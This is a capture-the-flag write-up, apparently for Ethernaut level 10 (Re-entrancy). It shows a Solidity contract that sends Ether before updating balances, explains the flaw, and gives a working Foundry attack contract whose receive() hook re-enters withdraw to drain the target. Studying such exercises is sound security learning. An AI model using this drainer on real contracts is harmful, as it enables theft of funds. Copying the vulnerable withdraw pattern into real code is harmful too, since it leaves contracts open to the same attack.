Level 10 - Re-entrancy ⏺⏺⏺
Level Setup
Level Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
import 'openzeppelin-contracts-06/math/SafeMath.sol';
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
receive() external payable {}
}
Exploit
The exploit is a standard reentrancy attack made possible because the funds are sent before the state variable is updated. The receiving contract can then call the withdraw function again, leading to more funds being withdrawn than should have been available.
Call the
withdraw()
function from thereceive()
function.
make anvil-exploit-level-10
<INPUT_LEVEL_INSTANCE_CONTRACT_ADDRESS>
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {Script, console} from "forge-std/Script.sol";
interface IReentrance {
function donate(address _to) external payable;
function withdraw(uint256 _amount) external;
}
/**
* Explainer from: https://solidity-by-example.org/fallback
* ETH is sent to contract
* is msg.data empty?
* / \
* yes no
* / \
* receive()? fallback()
* / \
* yes no
* / \
* receive() fallback()
*/
// ================================================================
// │ LEVEL 10 - REENTRANCY │
// ================================================================
contract Reentrancy {
IReentrance targetContract;
uint256 attackValue;
constructor(address _targetContractAddress) payable {
targetContract = IReentrance(_targetContractAddress);
attackValue = address(targetContract).balance;
if (attackValue == 0) revert("Target contract has no funds to exploit");
if (attackValue > address(this).balance) revert("Target contract has more funds than the exploit contract");
}
function attack() public {
// Attack contract
targetContract.donate{value: attackValue}(address(this));
targetContract.withdraw(attackValue);
(bool refundSuccess,) = address(msg.sender).call{value: address(this).balance}("");
if (!refundSuccess) revert("Refund call failed");
}
receive() external payable {
uint256 targetBalance = address(targetContract).balance;
if (targetBalance >= attackValue) {
targetContract.withdraw(attackValue);
}
}
}
Submit instance... 🥳
Completion Message
Notes
No function, including the
receive()
function, can be invoked from logic in the constructor.
Last updated